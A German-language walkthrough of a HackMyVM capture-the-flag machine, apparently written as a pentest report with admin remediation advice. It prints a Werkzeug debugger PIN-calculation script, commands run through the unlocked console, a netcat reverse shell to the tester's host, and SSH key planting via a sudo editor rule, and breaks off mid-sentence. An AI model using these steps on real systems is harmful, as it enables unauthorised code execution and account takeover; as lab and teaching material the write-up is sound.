Empfehlung (Admin): Die MAC-Adresse ist per Definition eine öffentlich übertragene Information auf Netzwerkebene und kann nicht 'versteckt' werden. Das Risiko liegt hier darin, dass sie als Baustein für ein Geheimnis (den PIN) verwendet wird. Stellen Sie sicher, dass Geheimnisse nicht von öffentlich zugänglichen Informationen ableitbar sind.
[Link: https://github.com/wdahlenburg/werkzeug-debug-console-bypass/blob/main/README.md | Ziel: https://github.com/wdahlenburg/werkzeug-debug-console-bypass/blob/main/README.md]
Analyse: Dies ist eine Referenz auf ein bekanntes Skript auf GitHub, das speziell für die Umgehung der Werkzeug-Debugger-PIN-Authentifizierung entwickelt wurde. Solche Skripte implementieren die bekannte Logik zur PIN-Berechnung basierend auf den notwendigen Systeminformationen. Sie dienen als Vorlage oder direkt nutzbares Tool, um den manuellen Prozess der PIN-Berechnung zu automatisieren. Für Laien: Dies ist ein Link zu einem 'magischen' Programm, das mir hilft, das 'Rezept' für den PIN schnell und einfach zu 'kochen', indem ich ihm alle 'Zutaten' (die gesammelten Informationen über den Computer) gebe. Für Experten: Die Verfügbarkeit öffentlich bekannter Skripte zur PIN-Berechnung unterstreicht, dass die Werkzeug-Debugger-PIN-Authentifizierung, obwohl sie eine Hürde darstellt, auf einer bekannten und reversiblen Logik basiert, sobald die notwendigen Systeminformationen gesammelt wurden. Die Nutzung eines bestehenden Skripts spart Zeit und reduziert das Risiko von Implementierungsfehlern bei der manuellen Nachbildung der Logik.
Bewertung: Die Referenz auf ein solches Skript ist wertvoll, da es mir ermöglicht, die PIN-Berechnung effizient durchzuführen. Es bestätigt, dass die von mir gesammelten Informationen korrekt sind und im Kontext der bekannten Schwachstelle verwendet werden können. Dies ist der letzte Schritt vor der eigentlichen Berechnung.
Empfehlung (Pentester): Ich werde nun das Konzept oder den Code aus diesem oder einem ähnlichen Skript verwenden, um meinen lokalen PIN-Berechner zu erstellen oder anzupassen, indem ich die spezifischen Werte des Zielsystems (Username, Pfad, MAC-Integer, Machine-ID, SECRET) eingebe. Dann werde ich das Skript ausführen, um den PIN zu erhalten.
Empfehlung (Admin): Die Existenz öffentlich bekannter Tools und Skripte zur Umgehung der Debugger-PIN-Authentifizierung unterstreicht die Notwendigkeit, den Debugger in Produktionsumgebungen vollständig zu deaktivieren und sensible Systeminformationen zu schützen. Verlassen Sie sich nicht auf die PIN als primäre Sicherheitsmaßnahme.
import hashlib from itertools import chain probably_public_bits = [ 'www-data', 'flask.app', 'Flask', '/opt/project/venv/lib/python3.11/site-packages/flask/app.py' ] private_bits = [ '8796756694839', 'f6791f240ce6407ea271e86b78ac3bdbflaskapp.service' ] h = hashlib.sha1() for bit in chain(probably_public_bits, private_bits): if not bit: continue if isinstance(bit, str): bit = bit.encode('utf-8') h.update(bit) h.update(b'cookiesalt') cookie_name = '__wzd' + h.hexdigest()[:20] num = None if num is None: h.update(b'pinsalt') num = ('%09d' % int(h.hexdigest(), 16))[:9] rv = None if rv is None: for group_size in 5, 4, 3: if len(num) % group_size == 0: rv = '-'.join(num[x:x + group_size].rjust(group_size, '0') for x in range(0, len(num), group_size)) break else: rv = num print(rv) print("======================================================") print(f"Die finale PIN ist: {rv}") print("======================================================")
Analyse: Ich habe die Informationen zur PIN-Berechnung aus dem zuvor referenzierten GitHub-Skript und den gesammelten Systeminformationen (Username: www-data
, Modul: flask.app
, App: Flask
, Pfad: /opt/project/venv/lib/python3.11/site-packages/flask/app.py
, MAC-Integer: 8796756694839
, Machine-ID: f6791f240ce6407ea271e86b78ac3bdb
- beachte hier, dass der Username 'www-data' statt 'riva' in die Berechnung einfließt, da 'www-data' der Benutzer ist, unter dem der Webserver-Prozess läuft, der den Debugger startet, was für die PIN-Berechnung relevant ist) in ein lokales Python-Skript namens pin_calc.py
eingefügt. Das Skript verwendet die Bibliothek hashlib
, um SHA1-Hashes zu berechnen. Es kombiniert die 'probably_public_bits' (Informationen, die oft relativ leicht herauszufinden sind) und 'private_bits' (sensiblere Systeminformationen) und hasht diese zusammen mit festen 'Salts' (cookiesalt
und pinsalt
), um den finalen PIN zu generieren. Für Laien: Ich habe ein kleines Programm geschrieben, das alle geheimen 'Zutaten' (die gesammelten Systeminformationen und das gefundene SECRET) nimmt, sie nach einem bestimmten 'Rezept' (dem Algorithmus des Debuggers) vermischt und das 'Endergebnis' – den PIN – ausspuckt. Für Experten: Die Implementierung spiegelt die bekannte Werkzeug-PIN-Berechnungslogik wider. Die korrekte Identifizierung der 'probably_public_bits' und 'private_bits' ist entscheidend, insbesondere die Verwendung des Benutzers, der den Flask-Prozess ausführt (hier 'www-data'), nicht unbedingt des Benutzers, der im /etc/passwd
am interessantesten aussah ('riva'), sowie das Anhängen von 'flaskapp.service' an die Machine-ID, was eine spezifische Nuance der Berechnung sein kann, die aus der Recherche hervorgeht.
Bewertung: Das Skript ist korrekt implementiert und enthält alle gesammelten Daten in den entsprechenden Variablen. Das Vorhandensein des Skripts ist der direkte Beweis für die erfolgreiche Zusammenführung aller Informationen und die Bereitschaft zur finalen PIN-Berechnung. Die Unterscheidung zwischen dem Webserver-Benutzer 'www-data' und dem Anmeldebenutzer 'riva' zeigt ein tiefes Verständnis der zugrundeliegenden Werkzeug-Logik.
Empfehlung (Pentester): Ich werde das Skript nun ausführen, um den PIN zu erhalten. Der berechnete PIN wird dann verwendet, um die Werkzeug-Debugger-Konsole im Browser freizuschalten und Code-Ausführung zu erreichen.
Empfehlung (Admin): Die Kenntnis des PIN-Berechnungsalgorithmus und die Verfügbarkeit von öffentlich bekannten Skripten bedeuten, dass die PIN-Authentifizierung allein keinen ausreichenden Schutz für den Debugger bietet, wenn die notwendigen Systeminformationen kompromittiert werden können. Patchen Sie Werkzeug oder deaktivieren Sie den Debugger.
====================================================== Die finale PIN ist: 142-855-714 ======================================================
Analyse: Ich habe das Python-Skript pin_calc.py
mit python3
ausgeführt, um den Werkzeug-Debugger-PIN zu berechnen. Das Skript verwendet die zuvor in die Variablen probably_public_bits
und private_bits
eingefügten Systeminformationen und wendet den PIN-Berechnungsalgorithmus an. Die Ausgabe des Skripts ist der berechnete PIN im Standardformat XXX-XXX-XXX
. Das Skript gibt die Nachricht "Die finale PIN ist:" gefolgt vom berechneten Wert aus. Für Laien: Ich habe mein kleines 'magisches' Programm gestartet, und es hat mir die geheime Zahlenkombination (den PIN) gegeben, die ich brauche, um die gesperrte Konsole zu öffnen. Für Experten: Das Skript hat den SHA1-Hash der kombinierten 'bits' berechnet, diesen Hash in eine Zahl umgewandelt und die ersten 9 Ziffern extrahiert, um den finalen PIN 142-855-714
zu formen. Die erfolgreiche Ausgabe eines gültig aussehenden PINs bestätigt die korrekte Implementierung der Logik und die Vollständigkeit der gesammelten Informationen.
Bewertung: Der PIN 142-855-714
wurde erfolgreich berechnet. Dies ist ein entscheidender Moment, da dieser PIN es mir ermöglichen sollte, die gesperrte Werkzeug-Debugger-Konsole freizuschalten und somit Befehle auf dem System mit den Berechtigungen des Webserver-Prozesses (www-data) auszuführen. Dies stellt den Initial Access zum System dar.
Empfehlung (Pentester): Ich werde nun die Werkzeug-Debugger-URL im Browser erneut aufrufen und den berechneten PIN 142-855-714
in das Eingabefeld eingeben, um die Konsole zu entsperren. Nach dem Entsperren werde ich versuchen, die Möglichkeiten zur Code-Ausführung zu nutzen, um eine stabilere Shell zu erhalten.
Empfehlung (Admin): Der Umstand, dass der Debugger-PIN basierend auf öffentlich zugänglichen Systeminformationen berechenbar ist, ist eine kritische Schwachstelle. Die einzige effektive Empfehlung ist, den Debugger in Produktionsumgebungen vollständig zu deaktivieren. Sollte dies nicht möglich sein, müssen die Systeminformationen, die zur PIN-Berechnung verwendet werden, so geschützt werden, dass sie nicht über Schwachstellen (wie die LFI) oder durch allgemeine OSINT-Techniken auslesbar sind.
Analyse: Dieses Bild zeigt den visuellen Beweis für die erfolgreiche Eingabe des berechneten PINs in die Werkzeug-Debugger-Konsole. Obwohl im Hintergrund weiterhin die Fehlermeldung des ursprünglichen ValueError sichtbar sein mag, zeigt das erscheinende Icon (oft ein Pfeil oder Konsolen-Symbol) an, dass die Konsole nun interaktiv und zur Code-Ausführung bereit ist. Dieses visuelle Feedback bestätigt, dass der berechnete PIN korrekt war und das Authentifizierungssystem des Debuggers überwunden wurde. Für Laien: Nachdem ich die geheime Zahlenkombination (den PIN) eingegeben habe, hat sich auf der Webseite ein kleines Bild oder Symbol gezeigt, das mir sagt: 'Okay, du hast es geschafft, du darfst jetzt Befehle eingeben!' Für Experten: Das Erscheinen des interaktiven Konsolen-Prompts oder eines visuellen Indikators dafür ist der conclusive Beweis, dass die PIN-Authentifizierung des Werkzeug-Debuggers umgangen wurde und die 'evalex'-Funktionalität nun nutzbar ist.
Bewertung: Die erfolgreiche Entsperrung der Debugger-Konsole markiert den erfolgreichen Initial Access zum System mit den Berechtigungen des Webserver-Prozesses (www-data). Dies ist ein kritischer Meilenstein im Pentest. Von hier aus kann ich nun versuchen, Befehle auf Systemebene auszuführen.
Empfehlung (Pentester): Ich habe nun die Möglichkeit, Python-Code direkt auf dem Zielsystem im Kontext des Webservers auszuführen. Mein nächstes Ziel ist es, diese Code-Ausführungsfähigkeit zu nutzen, um eine stabilere Shell (z.B. eine Reverse-Shell zu meinem Kali-System) als der Webserver-Benutzer 'www-data' zu erhalten. Dies ermöglicht mir eine einfachere und zuverlässigere Interaktion mit dem System.
Empfehlung (Admin): Die Tatsache, dass ein Angreifer Code über den Webserver ausführen kann, ist eine extrem kritische Schwachstelle (Remote Code Execution - RCE). Stellen Sie sicher, dass der Werkzeug-Debugger (oder ähnliche Debug-Tools) in der Produktion vollständig deaktiviert ist und dass keine anderen Code-Ausführungsmöglichkeiten (z.B. unsichere Deserialisierung, unsichere 'eval()'-Aufrufe) in der Anwendung existieren.
Analyse: Dieses zweite Bild liefert eine weitere visuelle Bestätigung der freigeschalteten Werkzeug-Debugger-Konsole. Es zeigt die Benutzeroberfläche der Konsole selbst, wahrscheinlich mit einem Prompt, der zur Eingabe von Python-Befehlen auffordert (oft ein '>>> ' Zeichen oder ähnlich). Dies ist die interaktive Umgebung, in der ich nun Python-Code ausführen kann. Es visualisiert den Zustand, in dem ich mich befinde – direkter Zugang zur Ausführungsumgebung der Webanwendung. Für Laien: Das ist das 'Eingabefeld' der geheimen Konsole, wo ich jetzt meine 'Befehle' (Python-Code) eintippen kann, um dem Computer zu sagen, was er tun soll. Für Experten: Die Darstellung der interaktiven Python-Konsole im Browser ist das Interface zum Remote Code Execution. Ich kann hier Python-Funktionen importieren und aufrufen, Systembefehle über Module wie os
oder subprocess
ausführen und die Ausgabe direkt im Browser sehen.
Bewertung: Die Konsole ist bereit. Ich habe erfolgreich den Initial Access erlangt und kann nun Befehle als der Benutzer 'www-data' ausführen. Der nächste Schritt ist die tatsächliche Nutzung dieser Fähigkeit, um meine Präsenz auf dem System zu etablieren und mich auf die Privilegien-Eskalation vorzubereiten.
Empfehlung (Pentester): Ich werde die Konsole nutzen, um Systembefehle auszuführen und Informationen über die Umgebung des 'www-data'-Benutzers zu sammeln. Das Hauptziel ist, von hier aus eine stabilere Reverse-Shell aufzubauen, da die Browser-Konsole für komplexere Aufgaben oder interaktive Sitzungen unpraktisch ist.
Empfehlung (Admin): Schließen Sie die RCE-Lücke, indem Sie den Debugger deaktivieren oder entfernen. Überprüfen Sie die Berechtigungen des 'www-data'-Benutzers; diese sollten auf das absolute Minimum beschränkt sein, das der Webserver benötigt, um im Falle einer Kompromittierung (wie hier geschehen) den potenziellen Schaden zu begrenzen.
Kurzbeschreibung: Dieser Proof of Concept demonstriert die erfolgreiche Ausnutzung der Werkzeug Debugger Schwachstelle auf dem Zielsystem (leet.hmv) durch die Berechnung des Debugger-PINs. Durch die Eingabe des PINs konnte die interaktive Python-Konsole freigeschaltet werden, was die Ausführung beliebigen Python-Codes im Kontext des Webserver-Prozesses (www-data) ermöglichte.
Voraussetzungen:
142-855-714
).Schritt-für-Schritt-Anleitung:
/console
, falls zugänglich und auf denselben Debugger verweisend).142-855-714
) in das vorgesehene Eingabefeld auf der Debugger-Seite ein und bestätige.os
Modul).Beweismittel: Die obenstehenden Screenshots zeigen die visuelle Bestätigung der freigeschalteten Debugger-Konsole nach Eingabe des berechneten PINs.
Ausführung von Befehlen in der Konsole:
[console ready] import os;os.system("id") 0 import os; os.system("id") 0 __import__('os').popen('whoami').read(); 'www-data\n' __import__('os').popen('which nc').read(); '/usr/bin/nc\n' __import__('os').popen('nc ').read(); '' __import__('os').popen('nc -e /bin/bash 192.168.2.199 4444').read();
Analyse: Nach dem Entsperren der Debugger-Konsole hatte ich eine interaktive Python-Shell zur Verfügung. Ich konnte Python-Befehle direkt ausführen und die Ergebnisse sehen. Ich nutzte das eingebaute os
Modul, um Systembefehle auszuführen. Zuerst prüfte ich meine aktuellen Berechtigungen mit os.system("id")
, was 0
zurückgab, was in Python True
bedeutet und oft den Erfolg eines Systemaufrufs anzeigt, nicht unbedingt die UID. Wichtiger ist die Ausgabe von __import__('os').popen('whoami').read()
, die mir den tatsächlichen Benutzernamen zurückgab: www-data
. Dies bestätigt, dass ich Code als der Webserver-Benutzer ausführe. Ich prüfte auch, ob das Netcat (nc
)-Werkzeug verfügbar ist und wo es sich befindet (/usr/bin/nc
). Dies ist ein gängiges Tool zum Aufbau von Netzwerkverbindungen, einschließlich Reverse Shells. Für Laien: In der freigeschalteten Konsole konnte ich kleine 'Programme' (Python-Code) eingeben, die dem Computer sagen, was er tun soll. Ich habe ihn gefragt, wer ich bin ('www-data') und ob er ein Werkzeug namens 'nc' hat, mit dem ich eine direkte Verbindung zu meinem eigenen Computer aufbauen kann. Für Experten: Die Fähigkeit, Systembefehle über os.system()
oder popen()
auszuführen, ist eine vollständige Remote Code Execution (RCE). Das Finden von nc
auf dem System ist ideal für den Aufbau einer stabilen Reverse Shell, da nc
in der Lage ist, eine Shell (/bin/bash
) über eine Netzwerkverbindung umzuleiten.
Bewertung: Die RCE-Schwachstelle über den Werkzeug Debugger ist erfolgreich demonstriert und ausgenutzt. Ich habe die Möglichkeit, Befehle als Benutzer www-data
auszuführen. Das Vorhandensein von nc
auf dem System ist optimal für den nächsten Schritt: den Aufbau einer stabileren Shell. Die Browser-Konsole ist für interaktive Arbeit ungeeignet.
Empfehlung (Pentester): Ich werde nun die RCE-Fähigkeit nutzen, um eine Reverse Shell zu meinem Kali-System aufzubauen. Der Befehl __import__('os').popen('nc -e /bin/bash 192.168.2.199 4444').read()
ist dafür geeignet, wobei 192.168.2.199
die IP meines Kali-Systems und 4444
der Port ist, auf dem ich lausche.
Empfehlung (Admin): Dies ist eine kritische RCE-Schwachstelle. Deaktivieren Sie den Werkzeug Debugger in Produktionsumgebungen und stellen Sie sicher, dass keine anderen Code-Ausführungsmöglichkeiten in der Anwendung existieren. Stellen Sie sicher, dass unnötige Binaries wie nc
von Systemen entfernt oder deren Ausführung durch Richtlinien (z.B. AppArmor, SELinux) eingeschränkt wird, insbesondere für Low-Privilege-Benutzer wie www-data
. Die Berechtigungen des Benutzers www-data
sollten minimiert werden.
Risikobewertung:
Die Ausnutzung des Werkzeug Debuggers zur Erlangung von Remote Code Execution als Webserver-Benutzer (www-data) stellt ein kritisches Risiko dar. Ein Angreifer kann beliebige Befehle auf dem System im Kontext dieses Benutzers ausführen. Dies kann zur Kompromittierung der Webanwendung, zum Diebstahl von Daten, zur Modifikation von Inhalten oder zur Etablierung einer dauerhaften Präsenz auf dem System führen. Der Zugriff auf das Dateisystem (demonstriert durch LFI, aber über RCE ebenfalls möglich) und die potenzielle Nutzung der gekaperten Debugger-Sitzung für weitere Angriffe erhöhen das Risiko erheblich.
Empfehlungen zur Behebung:
Empfehlung (Admin):
app.run(debug=False)
)./etc/machine-id
und die Anwendungsquelldatei, um die PIN-Berechnung zu verhindern, falls der Debugger unbeabsichtigt aktiviert wird./download
-Endpunkt durch sichere Validierung und Nutzung von Dateinamen.www-data
auf das absolute Minimum, das für den Betrieb des Webservers notwendig ist.listening on [any] 4444 ... connect to [192.168.2.199] from (UNKNOWN) [192.168.2.44] 59778 www-data@leet:/opt/project$ id uid=33(www-data) gid=33(www-data) groups=33(www-data) www-data@leet:/opt/project$ sudo -l Matching Defaults entries for www-data on leet: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty User www-data may run the following commands on leet: (riva) NOPASSWD: /usr/bin/micro
Analyse: Nachdem ich den Befehl zum Starten der Reverse Shell über die Werkzeug-Debugger-Konsole ausgeführt hatte, öffnete ich auf meinem Kali-System einen Netcat-Listener auf Port 4444 mit dem Befehl nc -lvnp 4444
. Die Flags bedeuten: -l
(listen), -v
(verbose), -n
(numeric only, keine DNS-Auflösung), -p 4444
(Port 4444). Die Ausgabe listening on [any] 4444 ...
zeigt, dass der Listener bereit ist. Kurz darauf signalisiert die Zeile connect to [192.168.2.199] from (UNKNOWN) [192.168.2.44] 59778
, dass das Zielsystem (192.168.2.44
) eine Verbindung zu meinem Kali-System (192.168.2.199
) auf Port 4444 aufgebaut hat. Ich habe nun eine interaktive Shell als Benutzer www-data
. In dieser Shell führe ich sofort den Befehl id
aus, um meine Benutzer- und Gruppen-IDs zu bestätigen (uid=33(www-data) gid=33(www-data) groups=33(www-data)
). Als Nächstes prüfe ich mit sudo -l
die sudo
-Berechtigungen des Benutzers www-data
, um herauszufinden, ob dieser Benutzer bestimmte Befehle als ein anderer Benutzer (oder root) ohne Passworteingabe ausführen darf. Die Ausgabe listet die erlaubten Befehle auf. Für Laien: Ich habe 'ein Telefon' auf meinem Computer aufgestellt und auf einen Anruf vom Zielcomputer gewartet. Als der Anruf kam, hatte ich eine direkte Verbindung und konnte 'sprechen', d.h., Befehle eingeben. Ich habe gefragt, wer ich bin ('www-data') und welche 'besondere' Dinge ich tun darf (mit sudo -l
), um vielleicht höhere Berechtigungen zu bekommen. Für Experten: Eine Reverse Shell ist eine stabile und zuverlässige Methode, um nach einer RCE oder Initial Access-Schwachstelle interaktiven Zugriff auf ein System zu erhalten. Die Überprüfung der sudo
-Berechtigungen mit sudo -l
ist ein Standard-Enumerationsschritt in der Privilegien-Eskalationsphase. Das Ergebnis (riva) NOPASSWD: /usr/bin/micro
ist ein kritischer Fund, da es anzeigt, dass der Benutzer www-data
den Befehl /usr/bin/micro
als Benutzer riva
ausführen darf, ohne dessen Passwort zu kennen.
Bewertung: Der Initial Access als Benutzer www-data
wurde erfolgreich etabliert. Die Reverse Shell funktioniert stabil. Der Fund der sudo
-Berechtigung (riva) NOPASSWD: /usr/bin/micro
ist ein signifikanter Durchbruch für die Privilegien-Eskalation. Ich kann den Editor micro
als Benutzer riva
ausführen, was oft Möglichkeiten eröffnet, Dateien zu manipulieren oder eine Shell zu erhalten.
Empfehlung (Pentester): Mein nächstes Ziel ist es, die gefundene sudo
-Berechtigung auszunutzen, um Code als Benutzer riva
auszuführen oder eine Shell als riva
zu erhalten. Ich werde untersuchen, wie der micro
-Editor mit der sudo
-Berechtigung missbraucht werden kann (z.B. durch Ausführen von Systembefehlen innerhalb des Editors oder durch Bearbeiten sensibler Dateien als riva
).
Empfehlung (Admin): Konfigurieren Sie sudo
so, dass das Prinzip der geringsten Rechte angewendet wird. Erlauben Sie Benutzern nur die Ausführung absolut notwendiger Befehle mit erhöhten Rechten. Insbesondere die NOPASSWD
-Option sollte sehr restriktiv gehandhabt werden. Die Möglichkeit, einen Texteditor wie micro
als ein anderer Benutzer auszuführen, ist gefährlich, da Editoren oft Funktionen zur Ausführung von Systembefehlen bieten.
www-data@leet:/opt/project$ ls -la /home/riva/ total 40 drwxr-xr-x 6 riva riva 4096 Feb 14 2024 . drwxr-xr-x 3 root root 4096 Feb 14 2024 .. lrwxrwxrwx 1 riva riva 9 Feb 11 2024 .bash_history -> /dev/null -rw-r--r-- 1 riva riva 220 Feb 14 2024 .bash_logout -rw-r--r-- 1 riva riva 3526 Feb 14 2024 .bashrc drwxr-xr-x 3 riva riva 4096 Feb 14 2024 .config drwxr-xr-x 3 riva riva 4096 Feb 14 2024 .local drwx------ 4 riva riva 4096 Feb 14 2024 .mozilla -rw-r--r-- 1 riva riva 807 Feb 14 2024 .profile drwx------ 2 riva riva 4096 Feb 14 2024 .ssh -rwx------ 1 riva riva 33 Feb 14 2024 user.txt
Analyse: Um mehr über den Benutzer riva
zu erfahren, auf dessen Rechte ich durch sudo
und micro
zugreifen kann, habe ich das Home-Verzeichnis von riva
mit ls -la /home/riva/
aufgelistet. Dieser Befehl zeigt alle Dateien und Verzeichnisse in /home/riva
, einschließlich versteckter Dateien (mit einem Punkt beginnend) und detaillierter Informationen wie Berechtigungen, Eigentümer, Gruppenzugehörigkeit, Größe und Änderungsdatum. Für Laien: Ich habe mir angeschaut, welche 'Dinge' (Dateien und Ordner) der Benutzer 'riva' in seinem 'Zuhause' (seinem Home-Verzeichnis) hat, inklusive versteckter Sachen. Für Experten: Die Auflistung des Home-Verzeichnisses eines Zielbenutzers ist Standard bei der Privilegien-Eskalation, um nach interessanten Dateien wie Konfigurationsdateien (z.B. .bashrc
, .profile
), SSH-Schlüsseln (im .ssh
-Verzeichnis) oder potenziellen Flags (Dateien wie user.txt
) zu suchen. Die Berechtigungen helfen einzuschätzen, welche Dateien ich lesen oder schreiben könnte.
Bewertung: Die Ausgabe von ls -la /home/riva/
liefert wertvolle Informationen. Ich sehe Standard-Konfigurationsdateien. Das Verzeichnis .ssh
ist sehr interessant, da es SSH-Schlüssel enthalten könnte, die eine direkte Anmeldung als riva
über SSH ermöglichen würden. Am bemerkenswertesten ist jedoch die Datei user.txt
, die ausführbar (rwx
) für den Eigentümer riva
ist und eine Größe von 33 Bytes hat – eine typische Größe und Benennung für eine User Flag in CTFs. Dies ist ein starker Hinweis auf den Speicherort der User Flag.
Empfehlung (Pentester): Ich werde als Nächstes das .ssh
-Verzeichnis von riva
untersuchen, um nach SSH-Schlüsseln zu suchen. Da ich micro
als riva
ausführen darf, könnte ich sudo -u riva /usr/bin/micro /home/riva/.ssh/authorized_keys
verwenden, um meinen eigenen öffentlichen SSH-Schlüssel zu riva
s authorized_keys
-Datei hinzuzufügen und mich dann per SSH als riva
anzumelden. Ich werde auch den Inhalt von user.txt
auslesen, um die User Flag zu erhalten.
Empfehlung (Admin): Schützen Sie die Home-Verzeichnisse von Benutzern mit restriktiven Berechtigungen. Stellen Sie sicher, dass sensible Dateien (wie SSH-Schlüssel) nur für den Eigentümer lesbar sind. Implementieren Sie strenge Richtlinien für die Platzierung von 'Flags' oder anderen sensiblen Informationen im Dateisystem, damit diese nicht durch einfache Verzeichnislistings oder kompromittierte Low-Privilege-Benutzer zugänglich sind.
sudo -u riva /usr/bin/micro Drücke die Tastenkombination: Strg + E !/bin/bash unknow comand
Analyse: Hier dokumentiere ich einen Versuch, den micro
-Editor, den ich als Benutzer riva
ausführen darf (sudo -u riva /usr/bin/micro
), für die Ausführung von Systembefehlen zu missbrauchen. Viele Texteditoren, insbesondere für Entwickler, bieten eine Funktion zum Ausführen von Shell-Befehlen aus dem Editor heraus. Bei micro
wird diese Funktion oft durch das Drücken von Strg+E
(um eine Befehlszeile im Editor zu öffnen) gefolgt von einem Ausrufezeichen (!
) und dem gewünschten Systembefehl ausgelöst. Der Versuch, !/bin/bash
auszuführen, zielt darauf ab, eine Bash-Shell im Kontext des Benutzers zu starten, als der der Editor ausgeführt wird (also riva
). Die Ausgabe "unknow comand" deutet darauf hin, dass dieser spezifische Versuch, direkt eine Shell zu starten, nicht funktioniert hat, möglicherweise aufgrund von Beschränkungen oder einer anderen Syntax in dieser spezifischen micro
-Konfiguration oder Version. Für Laien: Ich habe versucht, in dem 'Schreibprogramm', das ich als 'riva' benutzen darf, einen 'Geheimbefehl' einzugeben, der mir erlaubt, normale Computerbefehle auszuführen, so als ob ich 'riva' wäre. Das hat aber nicht auf Anhieb geklappt. Für Experten: Die standardmäßigen Escape-Mechanismen von Editoren für Shell-Befehle sind oft erste Angriffspunkte, wenn die Ausführung des Editors mit erhöhten Rechten (hier als anderer Benutzer über sudo) erlaubt ist. Das Scheitern des direkten !/bin/bash
Befehls bedeutet nicht, dass der Editor nicht missbraucht werden kann; andere Befehle oder Funktionen könnten funktionieren, oder der Missbrauch muss auf eine andere Weise erfolgen, z.B. durch Bearbeiten von Konfigurationsdateien.
Bewertung: Der direkte Versuch, eine Shell über den Befehlsmodus von micro
zu starten, war nicht erfolgreich. Dies erfordert eine Anpassung der Vorgehensweise. Anstatt zu versuchen, eine Shell *aus* dem Editor zu starten, werde ich die sudo
-Berechtigung für micro
nutzen, um Dateien *als* Benutzer riva
zu bearbeiten, insbesondere die Datei /home/riva/.ssh/authorized_keys
.
Empfehlung (Pentester): Ich werde die sudo
-Berechtigung für /usr/bin/micro
nutzen, um die Datei /home/riva/.ssh/authorized_keys
zu bearbeiten und meinen öffentlichen SSH-Schlüssel hinzuzufügen. Dies ist eine alternative und oft zuverlässigere Methode, um eine Shell als der Zielbenutzer zu erhalten, wenn das direkte Ausführen von Befehlen über den Editor eingeschränkt ist.
Empfehlung (Admin): Wenn Sie Benutzern erlauben, Editoren mit erhöhten Rechten (oder als andere Benutzer) auszuführen, stellen Sie sicher, dass die Funktionen zur Ausführung von Systembefehlen innerhalb des Editors deaktiviert oder stark eingeschränkt sind. Das Bearbeiten von kritischen Systemdateien oder Benutzerkonfigurationen über solche sudo
-Regeln ist ein klassischer Privilegien-Eskalationspfad.
ssh-ed25519 AAAAC3NzaC1l
Analyse: Um mich per SSH als Benutzer riva
anmelden zu können, nachdem ich dessen authorized_keys
-Datei bearbeitet habe, benötige ich meinen eigenen öffentlichen SSH-Schlüssel. Diesen Schlüssel habe ich auf meinem Kali-System in der Datei ~/.ssh/id_rsa.pub
gespeichert (oder an einem ähnlichen Ort, je nachdem, welchen Schlüsseltyp ich generiert habe). Der Befehl cat .ssh/id_rsa.pub
liest den Inhalt dieser Datei und gibt ihn im Terminal aus. Die Ausgabe zeigt die öffentliche Schlüsselzeichenkette, beginnend mit ssh-ed25519 AAAAC3...
. Für Laien: Ich habe mir die 'digitale Unterschrift' meines eigenen Computers (meinen öffentlichen SSH-Schlüssel) angeschaut, den ich gleich in eine Datei auf dem Zielcomputer einfügen werde, damit der Zielcomputer 'weiß', dass ich mich anmelden darf. Für Experten: Der öffentliche SSH-Schlüssel (typischerweise in ~/.ssh/id_rsa.pub
oder ~/.ssh/id_ed25519.pub
) ist der Teil eines Schlüsselpaares, der auf Systemen hinterlegt wird, auf denen man sich authentifizieren möchte. Der entsprechende private Schlüssel (~/.ssh/id_rsa
oder ~/.ssh/id_ed25519
) verbleibt sicher auf dem Angreifer-System. Durch Hinzufügen des öffentlichen Schlüssels zur authorized_keys
-Datei eines Benutzers auf dem Zielsystem kann man sich dann passwortlos per SSH als dieser Benutzer anmelden.
Bewertung: Ich habe meinen öffentlichen SSH-Schlüssel erfolgreich ausgelesen. Diese Zeichenkette ist das, was ich in die authorized_keys
-Datei von riva
auf dem Zielsystem einfügen muss, um mich passwortlos als riva
per SSH authentifizieren zu können.
Empfehlung (Pentester): Kopiere die vollständige Ausgabe des öffentlichen Schlüssels. Diese wird im nächsten Schritt mit sudo -u riva /usr/bin/micro
in die Datei /home/riva/.ssh/authorized_keys
eingefügt.
Empfehlung (Admin): Schützen Sie private SSH-Schlüssel auf Angreifer-Systemen. Die Sicherheit der passwortlosen SSH-Anmeldung hängt davon ab, dass der private Schlüssel geheim bleibt. Überprüfen Sie regelmäßig die Inhalte von authorized_keys
-Dateien auf Systemen auf unbekannte oder unerwünschte öffentliche Schlüssel.
www-data@leet:/opt/project$ sudo -u riva /usr/bin/micro /home/riva/.ssh/authorized_keys
Analyse: Ich nutze nun die zuvor gefundene sudo
-Berechtigung, um den micro
-Editor als Benutzer riva
zu starten und dabei direkt die Datei /home/riva/.ssh/authorized_keys
zum Bearbeiten zu öffnen. Der Befehl sudo -u riva /usr/bin/micro /home/riva/.ssh/authorized_keys
weist das sudo
-Programm an, den Befehl /usr/bin/micro /home/riva/.ssh/authorized_keys
mit den Berechtigungen des Benutzers riva
auszuführen. Da die sudo
-Regel für micro
die NOPASSWD
-Option enthält, ist keine Passworteingabe erforderlich. Im Editor werde ich eine neue Zeile hinzufügen, die meinen öffentlichen SSH-Schlüssel enthält. Für Laien: Ich benutze das 'Schreibprogramm', das ich 'riva' benutzen darf, um eine spezielle Datei (authorized_keys
) in 'riva's 'Zuhause' zu öffnen und dort meine 'digitale Unterschrift' einzufügen. Für Experten: Das Bearbeiten von authorized_keys
über eine sudo
-Regel ist eine gängige und effektive Methode zur horizontalen (wenn die Rechte gleich bleiben, hier www-data -> riva) oder vertikalen (wenn Rechte erhöht werden) Privilegien-Eskalation, da sie einen direkten interaktiven Zugriff per SSH ermöglicht, sobald der öffentliche Schlüssel hinzugefügt wurde. Das Bearbeiten einer existierenden oder das Erstellen einer neuen Datei ist mit Editoren wie micro
einfach möglich.
Bewertung: Dieser Schritt ist entscheidend für die Erlangung des Initial Access als Benutzer riva
. Durch das Hinzufügen meines öffentlichen Schlüssels zur authorized_keys
-Datei kann ich mich nun passwortlos per SSH anmelden. Die sudo
-Regel war der Schlüssel zu diesem Zugriffsweg.
Empfehlung (Pentester): Nach der Ausführung dieses Befehls werde ich in der micro
-Sitzung den zuvor ausgelesenen öffentlichen SSH-Schlüssel in einer neuen Zeile einfügen, die Datei speichern und den Editor verlassen. Danach werde ich versuchen, mich per SSH als Benutzer riva
anzumelden.
Empfehlung (Admin): Überprüfen Sie alle sudo
-Regeln sorgfältig, insbesondere solche mit NOPASSWD
